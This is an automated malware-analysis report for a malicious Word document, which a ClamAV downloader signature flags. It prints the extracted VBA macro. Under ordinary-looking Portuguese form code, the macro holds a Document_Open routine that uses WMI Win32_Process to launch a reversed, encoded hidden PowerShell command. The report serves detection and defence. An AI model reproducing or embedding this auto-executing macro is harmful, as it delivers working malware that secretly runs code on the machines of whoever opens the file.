Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b63ddd7c1f7ea8d6…

MALICIOUS

Office (OLE)

146.0 KB Created: 2020-03-02 14:35:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 8648935e7f2872b632ba380d94191392 SHA-1: 16509c7035a9ecde102ef7698d296500e9cbdb87 SHA-256: b63ddd7c1f7ea8d62e84c42c44835c31de09410306e5c58863f15267e4b66e15
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7608152-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7608152-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46867 bytes
SHA-256: b2398f41ce4b5e1edceca529e39f2a373e585ebea8e7ba5f55af1749b3ffb64e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub UserForm_Initialize()
    
    Call PopulaCombos
    
    Call EventosCampos
    
    Call BuscaRegistros

End Sub
Private Sub UserForm_Terminate()
    
    Set oContato = Nothing
    Set myRst = Nothing
    
    Call Desconecta
    
End Sub
Private Sub btnSalario_Click()
    ccurVisor = IIf(txbSalario.Text = "", 0, CCur(txbSalario.Text))
    txbSalario.Text = Format(GetCalculadora, "#,##0.00")
End Sub
Private Sub btnNascimento_Click()
    dtDate = IIf(txbNascimento.Text = Empty, Date, txbNascimento.Text)
    txbNascimento.Text = GetCalendario
End Sub
Private Sub btnIncluir_Click()
    
    Call PosDecisaoTomada("Inclusao")
    
End Sub
Private Sub btnAlterar_Click()
    
    Call PosDecisaoTomada("Alteracao")

End Sub
Private Sub btnExcluir_Click()

    Call PosDecisaoTomada("Exclusao")
    
End Sub
Private Sub PosDecisaoTomada(Decisao As String)

    btnCancelar.Visible = True: btnConfirmar.Visible = True
    btnConfirmar.Caption = "Confirmar " & Decisao
    btnCancelar.Caption = "Cancelar " & Decisao
    
    btnIncluir.Visible = False: btnAlterar.Visible = False: btnExcluir.Visible = False
    
    MultiPage1.value = 1
    
    If Decisao <> "Exclusao" Then
    
        If Decisao = "Inclusao" Then
        
            Call Campos("Limpar")
            
        End If
        
        Call Campos("Habilitar")
        
        txbNome.SetFocus
        
    End If
    
    MultiPage1.Pages(0).Enabled = False
    
End Sub
Private Sub btnConfirmar_Click()
    
    Call Gravar(Replace(btnConfirmar.Caption, "Confirmar ", ""))
    
End Sub
Private Sub btnCancelar_Click()
    
    btnIncluir.Visible = True: btnAlterar.Visible = True: btnExcluir.Visible = True
    btnConfirmar.Visible = False: btnCancelar.Visible = False
    
    Call Campos("Limpar")
    Call Campos("Desabilitar")
    
    btnAlterar.Enabled = False
    btnExcluir.Enabled = False
    btnIncluir.SetFocus
   
    MultiPage1.value = 0
    
    lstPrincipal.ListIndex = -1 ' Tira a selecao
    
End Sub
Private Sub lstPrincipal_Change()

    Dim n As Long
    
    If lstPrincipal.ListIndex >= 0 Then
    
        btnAlterar.Enabled = True
        btnExcluir.Enabled = True
    
        With oContato
    
            .CRUD eCrud.Read, (CLng(lstPrincipal.List(lstPrincipal.ListIndex, 1)))
    
            lblCabID.Caption = IIf(.ID = 0, "", Format(.ID, "000000"))
            lblCabNome.Caption = .Nome
            txbNome.Text = .Nome
            txbNascimento.Text = IIf(IsNull(.Nascimento), "", .Nascimento)
            txbSalario.Text = Format(.Salario, "#,##0.00")
            
            If Not IsNull(.Sexo) Then
                For n = 0 To cbbSexo.ListCount
                    If cbbSexo.List(n, 1) = .Sexo Then: cbbSexo.ListIndex = n: Exit For
                Next n
            Else
                cbbSexo.ListIndex = -1
            End If
            
        End With
        
    End If

End Sub
Private Sub Campos(Acao As String)
    
    Dim sDecisao    As String
    Dim b           As Boolean
    
    sDecisao = Replace(btnConfirmar.Caption, "Confirmar ", "")
    
    If Acao <> "Limpar" Then
    
        If Acao = "Desabilitar" Then
            b = False
        ElseIf Acao = "Habilitar" Then
            b = True
        End If
        
        MultiPage1.Pages(0).Enabled = Not b
        
        txbNome.Enabled = b: lblNome.Enabled = b
        txbNascimento.Enabled = b: lblNascimento.Enabled = b: btnNascimento.Enabled = b
        txbSalario.Enabled = b: lblSalario.Enabled = b: btnSalario.Enabled = b
        cbbSexo.Enabled = b: lblSexo.Enabled = b
        
    Else
    
        lblCabID.Caption = ""
        lblCabNome.Caption = ""
        txbNome.Text = Empty
        txbNascimento.Text = IIf(sDecisao = "Inclusao", Date, Empty)
        txbSalario.Text = IIf(sDecisao = "Inclusao", Format(0, "#,##0.00"), "")
        cbbSexo.ListIndex = -1
             
    End If

End Sub
Private Sub lstPrincipalPopular(Pagina As Long)

    Dim n           As Byte
    Dim vNascimento As Variant
    Dim vSalario    As Variant
    Dim oLegenda     As Control
    
    ' Limpa cores da legenda
    For n = 1 To myRst.PageSize
        Set oLegenda = Controls("l" & Format(n, "00")): oLegenda.BackColor = &H8000000F
    Next n

    ' Define pagina que sera exibida do Recordset
    myRst.AbsolutePage = Pagina
    
    With lstPrincipal
        .Clear                                      ' Limpa conteudo
        .ColumnCount = 4                            ' Define numero de colunas
        .ColumnWidths = "180 pt; 0pt; 55pt; 60pt;"  ' Configura largura das colunas
        .Font = "Consolas"                          ' Configura fonte
        
        n = 1
        
        While Not myRst.EOF = True And n <= myRst.PageSize
            
            ' Preenche ListBox
            .AddItem
            
            .List(.ListCount - 1, 0) = myRst.Fields("nome").value
            .List(.ListCount - 1, 1) = myRst.Fields("id").value
            
            If IsNull(myRst.Fields("nascimento").value) Then vNascimento = "--/--/----" Else vNascimento = myRst.Fields("nascimento").value
            If IsNull(myRst.Fields("salario").value) Then vSalario = 0 Else vSalario = myRst.Fields("salario").value
            
            .List(.ListCount - 1, 2) = vNascimento
            .List(.ListCount - 1, 3) = space(12 - Len(Format(vSalario, "#,##0.00"))) & Format(vSalario, "#,##0.00")
            
            ' Colore a legenda
            Set oLegenda = Controls("l" & Format(n, "00"))
            
            If myRst.Fields("sexo").value = "F" Then
                oLegenda.BackColor = &HFF80FF
            ElseIf myRst.Fields("sexo").value = "M" Then
                oLegenda.BackColor = &HFF8080
            Else
                oLegenda.BackColor = &H8000000F
            End If
            
            ' Proximo registro
            myRst.MoveNext: n = n + 1
            
        Wend
        
    End With
    
    ' Posiciona scroll de navegacao em paginas
    lblPaginaAtual.Caption = Pagina
    lblNumeroPaginas.Caption = myRst.PageCount
    bAtualizaScrool = False: scrPagina.value = CLng(lblPaginaAtual.Caption): bAtualizaScrool = True
    lblTotalRegistros.Caption = Format(myRst.RecordCount, "#,##0")
    
    ' Trata os botoes de navegacao
    Call TrataBotoesNavegacao

End Sub
Private Sub Gravar(Decisao As String)

    Dim vbResposta  As VbMsgBoxResult
    Dim e           As eCrud
    
    vbResposta = MsgBox("Deseja realmente fazer a " & Decisao & "?", vbYesNo + vbQuestion, "Pergunta")
    
    If vbResposta = vbYes Then
    
        If Decisao <> "Exclusao" Then
        
            If txbNome.Text = Empty Then
                MsgBox "Campo 'Nome' e obrigatorio", vbCritical: MultiPage1.value = 1: txbNome.SetFocus
            Else
                
                With oContato
                    
                    .Nome = txbNome.Text
                    If RTrim(txbNascimento.Text) = "" Then .Nascimento = Null Else .Nascimento = CDate(txbNascimento.Text)
                    If RTrim(txbSalario.Text) = "" Then .Salario = Null Else .Salario = CCur(txbSalario.Text)
                    If cbbSexo.ListIndex = -1 Then .Sexo = Null Else .Sexo = cbbSexo.List(cbbSexo.ListIndex, 1)
                    
                    If Decisao = "Inclusao" Then
                        .CRUD eCrud.Create
                    Else
                        .CRUD eCrud.Update, .ID
                    End If
                    
                End With
                
                MsgBox Decisao & " realizada com sucesso.", vbInformation, Decisao & " de registro"
                
                Call BuscaRegistros
                                    
            End If
        
        Else ' Se for exclusao
        
            oContato.CRUD eCrud.Delete, oContato.ID
                
            MsgBox Decisao & " realizada com sucesso.", vbInformation, Decisao & " de registro"
            
            Call BuscaRegistros
            
        End If
               
    ElseIf vbResposta = vbNo Then
        
        If Decisao = "Exclusao" Then
            
            Call btnCancelar_Click
            
        End If
        
    End If
    
End Sub
Private Sub EventosCampos()

    ' Declara variaveis
    Dim oControle   As MSForms.Control
    Dim oEvento     As c_EventoCampo
    Dim sTag        As String
    Dim sField()    As String
    
    ' Laco para percorrer todos os TextBox e atribuir eventos
    ' de acordo com o tipo de cada campo
    For Each oControle In Me.Controls
    
        If Len(oControle.Tag) > 0 Then
        
            If TypeName(oControle) = "TextBox" Then
            
                Set oEvento = New c_EventoCampo
                
                With oEvento
                
                    sField() = Split(oControle.Tag, ".")
                    
                    oControle.ControlTipText = cat.Tables(sField(0)).Columns(sField(1)).Properties("Description").value
                    
                    .FieldType = cat.Tables(sField(0)).Columns(sField(1)).Type
                    .MaxLength = cat.Tables(sField(0)).Columns(sField(1)).DefinedSize
                    .Nullable = cat.Tables(sField(0)).Columns(sField(1)).Properties("Nullable")
                    
                    Set .cGeneric = oControle
                    
                End With
                
                colControles.Add oEvento
                
            End If
            
        End If
    Next

End Sub
Private Sub btnFiltrar_Click()

    Call BuscaRegistros

End Sub
Private Sub BuscaRegistros(Optional Ordem As String)

    Dim n As Byte
    Dim o As Control

    Set myRst = oContato.Todos(Ordem)
    
    If myRst.PageCount > 0 Then
        
        bAtualizaScrool = False
        
        With scrPagina
            .Max = myRst.PageCount
            .value = myRst.PageCount
        End With
        
        Call lstPrincipalPopular(myRst.PageCount)
        
    Else
    
        lstPrincipal.Clear
        
        For n = 1 To myRst.PageSize
            Set o = Controls("l" & Format(n, "00")): o.BackColor = &H8000000F
        Next n
        
    End If
    
    Call btnCancelar_Click
    

End Sub
Private Sub TrataBotoesNavegacao()

    If CLng(lblPaginaAtual.Caption) = myRst.PageCount And CLng(lblPaginaAtual.Caption) > 1 Then
    
        btnPaginaInicial.Enabled = True
        btnPaginaAnterior.Enabled = True
        btnPaginaFinal.Enabled = False
        btnPaginaSeguinte.Enabled = False
        
    ElseIf CLng(lblPaginaAtual.Caption) < myRst.PageCount And CLng(lblPaginaAtual.Caption) = 1 Then
    
        btnPaginaInicial.Enabled = False
        btnPaginaAnterior.Enabled = False
        btnPaginaFinal.Enabled = True
        btnPaginaSeguinte.Enabled = True
        
    ElseIf CLng(lblPaginaAtual.Caption) = myRst.PageCount And CLng(lblPaginaAtual.Caption) = 1 Then
    
        btnPaginaInicial.Enabled = False
        btnPaginaAnterior.Enabled = False
        btnPaginaFinal.Enabled = False
        btnPaginaSeguinte.Enabled = False
    
    Else
    
        btnPaginaInicial.Enabled = True
        btnPaginaAnterior.Enabled = True
        btnPaginaFinal.Enabled = True
        btnPaginaSeguinte.Enabled = True
        
    End If

End Sub
Private Sub btnPaginaInicial_Click()
    
    Call lstPrincipalPopular(1)
    
End Sub
Private Sub btnPaginaAnterior_Click()

    Call lstPrincipalPopular(CLng(lblPaginaAtual.Caption) - 1)
    
End Sub
Private Sub btnPaginaSeguinte_Click()

    Call lstPrincipalPopular(CLng(lblPaginaAtual.Caption) + 1)

End Sub
Private Sub btnPaginaFinal_Click()

    Call lstPrincipalPopular(myRst.PageCount)
    
End Sub
Private Sub btnRegistroAnterior_Click()

        If lstPrincipal.ListIndex > 0 Then
        
            lstPrincipal.ListIndex = lstPrincipal.ListIndex - 1
            
        ElseIf lstPrincipal.ListIndex = 0 And CLng(lblPaginaAtual.Caption) > 1 Then
            
            Call lstPrincipalPopular(CLng(lblPaginaAtual.Caption) - 1)
            
            lstPrincipal.ListIndex = myRst.PageSize - 1
            
        ElseIf CLng(lblPaginaAtual.Caption) = 1 And lstPrincipal.ListIndex = 0 Then
        
            MsgBox "Primeiro registro"
            Exit Sub
            
        Else
        
            lstPrincipal.ListIndex = -1
            
        End If
        
End Sub
Private Sub btnRegistroSeguinte_Click()

    If lstPrincipal.ListIndex = -1 Then
        
        lstPrincipal.ListIndex = 0
    
    ElseIf lstPrincipal.ListIndex = myRst.PageSize - 1 And CLng(lblPaginaAtual.Caption) < myRst.PageCount Then
        
        Call lstPrincipalPopular(CLng(lblPaginaAtual.Caption) + 1)
        
        lstPrincipal.ListIndex = 0
        
    ElseIf CLng(lblPaginaAtual.Caption) = myRst.PageCount And (lstPrincipal.ListIndex + 1) = lstPrincipal.ListCount Then
    
        MsgBox "Ultimo registro"
        Exit Sub
        
    Else
    
        lstPrincipal.ListIndex = lstPrincipal.ListIndex + 1
    
    End If
    
End Sub
Private Sub scrPagina_Change()

    If bAtualizaScrool = True Then
        
        Call lstPrincipalPopular(scrPagina.value)
        
    End If

End Sub
Private Sub PopulaCombos()

    With cbbSexo
        .Clear
        .ColumnCount = 2
        .ColumnWidths = "60pt; 0pt;"
        
        .AddItem
        .List(.ListCount - 1, 0) = "MASCULINO"
        .List(.ListCount - 1, 1) = "M"
        
        .AddItem
        .List(.ListCount - 1, 0) = "FEMININO"
        .List(.ListCount - 1, 1) = "F"
    End With

End Sub

Private Sub lstPrincipal_DblClick(ByVal Cancel As String)

    MultiPage1.value = 1
    
End Sub
Private Sub lblHdNome_Click()

    Call BuscaRegistros("nome")
    
End Sub

Private Sub lblHdNascimento_Click()

    Call BuscaRegistros("nascimento")

End Sub
Private Sub lblHdSalario_Click()

    Call BuscaRegistros("salario")

End Sub

Sub Document_Open()
Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
Create(StrReverse("==AAwBAbAEGAvBAcAACA0BwcAkGAMBAdA4GAlBQbAUHAnBgcAEEAtAAIA0GAvBwYA4CAvBAZAkGA2BAIAMHAzBQZAMGAvBgcAAFAtAAdAIHAhBAdAMFAgAAIAsDAwBAbAEGAvBAcAACAhBgcAUGAmBwcAACAlBAZA8GAjBQZAQGAtAAIAwGApBAdAUHA0BgcAUGAjBAIAsDAiAAUA0EAFBAVAoDA2BgbAUGAkAgIAACAoBAdAEGAQBQLAACAuBwbAkGA0BQYAMGAvBATA0CA0BQZAMFAgAwOAICAtBwbAMGAuAQdAcHAkBwRAMEAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAwCAiAQYAIHAlBgZAMHAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAwCAiAQbA8GAjBgLA8GAkBQaAYHAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAACAuBwbAkGA0BQYA4GApBAdAMHAlBARA0CAgAAdAEGAkBgLAUHA3BAZAcEADBwLAUGA0BQaAMHAuAQMAQHAlBgeAwGAhBAcA8CAvAgOAAHA0BAdAgGAsAAdAEGAkBgLAgGAhBgUAQHAlBASA8CAlBAdAkGAzBgLAEDA0BQZAoHAsBQYAAHAvAwLAoDAwBAdAQHAoBALAQHAhBAZA4CALBQQAIHAlBAVA8CAlBAdAkGAzBgLAEDA0BQZAoHAsBQYAAHAvAwLAoDAwBAdAQHAoBAIAUGAjBgcAUHAvBwUA0CAgAgcAUGAmBwcA4GAhBgcAQFAzBAdAkGACBQLAQHAyBQYAQHATBAIAsDAyBQZAYGAzBgbAEGAyBAVAMHA0BQaAIEAgAQZAwGA1BAZA8GANBQLAQHAyBwbAAHAtBQS ocne- neddih elytswodniw- llehsrewop"), Null, Null, jsakI)

End Sub

' Processing file: /opt/analyzer/scan_staging/111c448b4c6447fe9421d010da218f2f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 33550 bytes
' Line #0:
' 	FuncDefn (Private Sub UserForm_Initialize())
' Line #1:
' Line #2:
' 	ArgsCall (Call) PopulaCombos 0x0000 
' Line #3:
' Line #4:
' 	ArgsCall (Call) EventosCampos 0x0000 
' Line #5:
' Line #6:
' 	ArgsCall (Call) BuscaRegistros 0x0000 
' Line #7:
' Line #8:
' 	EndSub 
' Line #9:
' 	FuncDefn (Private Sub UserForm_Terminate())
' Line #10:
' Line #11:
' 	SetStmt 
' 	LitNothing 
' 	Set llehsrewop 
' Line #12:
' 	SetStmt 
' 	LitNothing 
' 	Set myRst 
' Line #13:
' Line #14:
' 	ArgsCall (Call) Desconecta 0x0000 
' Line #15:
' Line #16:
' 	EndSub 
' Line #17:
' 	FuncDefn (Private Sub oContato())
' Line #18:
' 	Ld ccurVisor 
' 	MemLd Text 
' 	LitStr 0x0000 ""
' 	Eq 
' 	LitDI2 0x0000 
' 	Ld ccurVisor 
' 	MemLd Text 
' 	Coerce (Cur) 
' 	ArgsLd IIf 0x0003 
' 	St btnSalario_Click 
' Line #19:
' 	Ld txbSalario 
' 	LitStr 0x0008 "#,##0.00"
' 	ArgsLd Format 0x0002 
' 	Ld ccurVisor 
' 	MemSt Text 
' Line #20:
' 	EndSub 
' Line #21:
' 	FuncDefn (Private Sub GetCalculadora())
' Line #22:
' 	Ld dtDate 
' 	MemLd Text 
' 	LitVarSpecial (Empty)
' 	Eq 
' 	Ld Date 
' 	Ld dtDate 
' 	MemLd Text 
' 	ArgsLd IIf 0x0003 
' 	St btnNascimento_Click 
' Line #23:
' 	Ld txbNascimento 
' 	Ld dtDate 
' 	MemSt Text 
' Line #24:
' 	EndSub 
' Line #25:
' 	FuncDefn (Private Sub btnIncluir_Click())
' Line #26:
' Line #27:
' 	LitStr 0x0008 "Inclusao"
' 	ArgsCall (Call) PosDecisaoTomada 0x0001 
' Line #28:
' Line #29:
' 	EndSub 
' Line #30:
' 	FuncDefn (Private Sub btnAlterar_Click())
' Line #31:
' Line #32:
' 	LitStr 0x0009 "Alteracao"
' 	ArgsCall (Call) PosDecisaoTomada 0x0001 
' Line #33:
' Line #34:
' 	EndSub 
' Line #35:
' 	FuncDefn (Private Sub btnExcluir_Click())
' Line #36:
' Line #37:
' 	LitStr 0x0008 "Exclusao"
' 	ArgsCall (Call) PosDecisaoTomada 0x0001 
' Line #38:
' Line #39:
' 	EndSub 
' Line #40:
' 	FuncDefn (Private Sub PosDecisaoTomada(Decisao As String))
' Line #41:
' Line #42:
' 	LitVarSpecial (True)
' 	Ld btnCancelar 
' 	MemSt Visible 
' 	BoS 0x0000 
' 	LitVarSpecial (True)
' 	Ld btnConfirmar 
' 	MemSt Visible 
' Line #43:
' 	LitStr 0x000A "Confirmar "
' 	Ld Decisao 
' 	Concat 
' 	Ld btnConfirmar 
' 	MemSt Caption 
' Line #44:
' 	LitStr 0x0009 "Cancelar "
' 	Ld Decisao 
' 	Concat 
' 	Ld btnCancelar 
' 	MemSt Caption 
' Line #45:
' Line #46:
' 	LitVarSpecial (False)
' 	Ld btnIncluir 
' 	MemSt Visible 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	Ld btnAlterar 
' 	MemSt Visible 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	Ld btnExcluir 
' 	MemSt Visible 
' Line #47:
' Line #48:
' 	LitDI2 0x0001 
' 	Ld MultiPage1 
' 	MemSt value 
' Line #49:
' Line #50:
' 	Ld Decisao 
' 	LitStr 0x0008 "Exclusao"
' 	Ne 
' 	IfBlock 
' Line #51:
' Line #52:
' 	Ld Decisao 
' 	LitStr 0x0008 "Inclusao"
' 	Eq 
' 	IfBlock 
' Line #53:
' Line #54:
' 	LitStr 0x0006 "Limpar"
' 	ArgsCall (Call) Campos 0x0001 
' Line #55:
' Line #56:
' 	EndIfBlock 
' Line #57:
' Line #58:
' 	LitStr 0x0009 "Habilitar"
' 	ArgsCall (Call) Campos 0x0001 
' Line #59:
' Line #60:
' 	Ld GetCalendario 
' 	ArgsMemCall SetFocus 0x0000 
' Line #61:
' Line #62:
' 	EndIfBlock 
' Line #63:
' Line #64:
' 	LitVarSpecial (False)
' 	LitDI2 0x0000 
' 	Ld MultiPage1 
' 	ArgsMemLd Pages 0x0001 
' 	MemSt Enabled 
' Line #65:
' Line #66:
' 	EndSub 
' Line #67:
' 	FuncDefn (Private Sub btnConfirmar_Click())
' Line #68:
' Line #69:
' 	Ld btnConfirmar 
' 	MemLd Caption 
' 	LitStr 0x000A "Confirmar "
' 	LitStr 0x0000 ""
' 	ArgsLd Replace 0x0003 
' 	ArgsCall (Call) Gravar 0x0001 
' Line #70:
' Line #71:
' 	EndSub 
' Line #72:
' 	FuncDefn (Private Sub btnCancelar_Click())
' Line #73:
' Line #74:
' 	LitVarSpecial (True)
' 	Ld btnIncluir 
' 	MemSt Visible 
' 	BoS 0x0000 
' 	LitVarSpecial (True)
' 	Ld btnAlterar 
' 	MemSt Visible 
' 	BoS 0x0000 
' 	LitVarSpecial (True)
' 	Ld btnExcluir 
' 	MemSt Visible 
' Line #75:
' 	LitVarSpecial (False)
' 	Ld btnConfirmar 
' 	MemSt Visible 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	Ld btnCancelar 
' 	MemSt Visible 
' Line #76:
' Line #77:
' 	LitStr 0x0006 "Limpar"
' 	ArgsCall (Call) Campos 0x0001 
' Line #78:
' 	LitStr 0x000B "Desabilitar"
' 	ArgsCall (Call) Campos 0x0001 
' Line #79:
' Line #80:
' 	LitVarSpecial (False)
' 	Ld btnAlterar 
' 	MemSt Enabled 
' Line #81:
' 	LitVarSpecial (False)
' 	Ld btnExcluir 
' 	MemSt Enabled 
' Line #82:
' 	Ld btnIncluir 
' 	ArgsMemCall SetFocus 0x0000 
' Line #83:
' Line #84:
' 	LitDI2 0x0000 
' 	Ld MultiPage1 
' 	MemSt value 
' Line #85:
' Line #86:
' 	LitDI2 0x0001 
' 	UMi 
' 	Ld lstPrincipal 
' 	MemSt ListIndex 
' 	QuoteRem 0x0020 0x000F " Tira a selecao"
' Line #87:
' Line #88:
' 	EndSub 
' Line #89:
' 	FuncDefn (Private Sub lstPrincipal_Change())
' Line #90:
' Line #91:
' 	Dim 
' 	VarDefn n (As Long)
' Line #92:
' Line #93:
' 	Ld lstPrincipal 
' 	MemLd ListIndex 
' 	LitDI2 0x0000 
' 	Ge 
' 	IfBlock 
' Line #94:
' Line #95:
' 	LitVarSpecial (True)
' 	Ld btnAlterar 
' 	MemSt Enabled 
' Line #96:
' 	LitVarSpecial (True)
' 	Ld btnExcluir 
' 	MemSt Enabled 
' Line #97:
' Line #98:
' 	StartWithExpr 
' 	Ld llehsrewop 
' 	With 
' Line #99:
' Line #100:
' 	Ld eCrud 
' 	MemLd Read 
' 	Ld lstPrincipal 
' 	MemLd ListIndex 
' 	LitDI2 0x0001 
' 	Ld lstPrincipal 
' 	ArgsMemLd List 0x0002 
' 	Coerce (Lng) 
' 	Paren 
' 	ArgsMemCallWith CRUD 0x0002 
' Line #101:
' Line #102:
' 	MemLdWith ID 
' 	LitDI2 0x0000 
' 	Eq 
' 	LitStr 0x0000 ""
' 	MemLdWith ID 
' 	LitStr 0x0006 "000000"
' 	ArgsLd Format 0x0002 
' 	ArgsLd IIf 0x0003 
' 	Ld lblCabID 
' 	MemSt Caption 
' Line #103:
' 	MemLdWith lblCabNome 
' 	Ld txbNome 
' 	MemSt Caption 
' Line #104:
' 	MemLdWith lblCabNome 
' 	Ld GetCalendario 
' 	MemSt Text 
' Line #105:
' 	MemLdWith IsNull 
' 	ArgsLd Nome 0x0001 
' 	LitStr 0x0000 ""
' 	MemLdWith IsNull 
' 	ArgsLd IIf 0x0003 
' 	Ld dtDate 
' 	MemSt Text 
' Line #106:
' 	MemLdWith Nascimento 
' 	LitStr 0x0008 "#,##0.00"
' 	ArgsLd Format 0x0002 
' 	Ld ccurVisor 
' 	MemSt Text 
' Line #107:
' Line #108:
' 	MemLdWith Salario 
' 	ArgsLd Nome 0x0001 
' 	Not 
' 	IfBlock 
' Line #109:
' 	StartForVariable 
' 	Ld n 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld Sexo 
' 	MemLd ListCount 
' 	For 
' Line #110:
' 	Ld n 
' 	LitDI2 0x0001 
' 	Ld Sexo 
' 	ArgsMemLd List 0x0002 
' 	MemLdWith Salario 
' 	Eq 
' 	If 
' 	BoS 0x0000 
' 	Ld n 
' 	Ld Sexo 
' 	MemSt ListIndex 
' 	BoS 0x0000 
' 	ExitFor 
' 	EndIf 
' Line #111:
' 	StartForVariable 
' 	Ld n 
' 	EndForVariable 
' 	NextVar 
' Line #112:
' 	ElseBlock 
' Line #113:
' 	LitDI2 0x0001 
' 	UMi 
' 	Ld Sexo 
' 	MemSt ListIndex 
' Line #114:
' 	EndIfBlock 
' Line #115:
' Line #116:
' 	EndWith 
' Line #117:
' Line #118:
' 	EndIfBlock 
' Line #119:
' Line #120:
' 	EndSub 
' Line #121:
' 	FuncDefn (Private Sub Campos(Acao As String))
' Line #122:
' Line #123:
' 	Dim 
' 	VarDefn sDecisao (As String) 0x0014
' Line #124:
' 	Dim 
' 	VarDefn B (As Boolean) 0x0014
' Line #125:
' Line #126:
' 	Ld btnConfirmar 
' 	MemLd Caption 
' 	LitStr 0x000A "Confirmar "
' 	LitStr 0x0000 ""
' 	ArgsLd Replace 0x0003 
' 	St sDecisao 
' Line #127:
' Line #128:
' 	Ld Acao 
' 	LitStr 0x0006 "Limpar"
' 	Ne 
' 	IfBlock 
' Line #129:
' Line #130:
' 	Ld Acao 
' 	LitStr 0x000B "Desabilitar"
' 	Eq 
' 	IfBlock 
' Line #131:
' 	LitVarSpecial (False)
' 	St B 
' Line #132:
' 	Ld Acao 
' 	LitStr 0x0009 "Habilitar"
' 	Eq 
' 	ElseIfBlock 
' Line #133:
' 	LitVarSpecial (True)
' 	St B 
' Line #134:
' 	EndIfBlock 
' Line #135:
' Line #136:
' 	Ld B 
' 	Not 
' 	LitDI2 0x0000 
' 	Ld MultiPage1 
' 	ArgsMemLd Pages 0x0001 
' 	MemSt Enabled 
' Line #137:
' Line #138:
' 	Ld B 
' 	Ld GetCalendario 
' 	MemSt Enabled 
' 	BoS 0x0000 
' 	Ld B 
' 	Ld cbbSexo 
' 	MemSt Enabled 
' Line #139:
' 	Ld B 
' 	Ld dtDate 
' 	MemSt Enabled 
' 	BoS 0x0000 
' 	Ld B 
' 	Ld lblNome 
' 	MemSt Enabled 
' 	BoS 0x0000 
' 	Ld B 
' 	Ld lblNascimento 
' 	MemSt Enabled 
' Line #140:
' 	Ld B 
' 	Ld ccurVisor 
' 	MemSt Enabled 
' 	BoS 0x0000 
' 	Ld B 
' 	Ld btnNascimento 
' 	MemSt Enabled 
' 	BoS 0x0000 
' 	Ld B 
' 	Ld lblSalario 
' 	MemSt Enabled 
' Line #141:
' 	Ld B 
' 	Ld Sexo 
' 	MemSt Enabled 
' 	BoS 0x0000 
' 	Ld B 
' 	Ld btnSalario 
' 	MemSt Enabled 
' Line #142:
' Line #143:
' 	ElseBlock 
' Line #144:
' Line #145:
' 	LitStr 0x0000 ""
' 	Ld lblCabID 
' 	MemSt Caption 
' Line #146:
' 	LitStr 0x0000 ""
' 	Ld txbNome 
' 	MemSt Caption 
' Line #147:
' 	LitVarSpecial (Empty)
…

Open this report in the interactive analyzer, or submit your own file for analysis.